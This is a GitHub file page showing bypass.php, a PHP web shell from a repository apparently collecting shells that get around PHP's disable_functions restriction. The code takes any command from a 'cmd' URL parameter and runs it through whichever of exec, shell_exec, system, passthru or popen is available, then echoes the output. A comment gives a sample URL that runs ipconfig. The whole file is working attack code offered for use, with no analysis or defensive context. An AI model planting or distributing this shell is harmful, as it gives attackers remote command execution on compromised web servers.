Bypass_Disable_functions_Shell/bypass.php at master · secgithub/Bypass_Disable_functions_Shell · GitHub

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<?php

//from silic-webshell

//usage: http://lemon.love:8081/bypass.php?cmd=ipconfig

function Exec_Run($cmd) {

$res = '';

if (function_exists('exec')) {

@exec($cmd, $res);

$res = join("\n", $res);

} elseif (function_exists('shell_exec')) {

$res = @shell_exec($cmd);

} elseif (function_exists('system')) {

@ob_start();@system($cmd);

$res = @ob_get_contents();

@ob_end_clean();

} elseif (function_exists('passthru')) {

@ob_start();

@passthru($cmd);

$res = @ob_get_contents();

@ob_end_clean();

} elseif (@is_resource($f = @popen($cmd, "r"))) {

$res = '';

while (!@feof($f)) {$res .= @fread($f, 1024);}

@pclose($f);

}

return $res;

}

function Exec_g() {

$res = '回显';

$cmd = 'whoami';

if (!empty($_GET['cmd'])) {

$cmd = $_GET['cmd'];

}

$res = Exec_Run($cmd);

print <<<END

<pre>

command >> <span style="color:red">{$cmd}</span>

{$res}

</pre>

END;

}

Exec_g();

Bypass_Disable_functions_Shell/bypass.php at master · secgithub/Bypass_Disable_functions_Shell · GitHub

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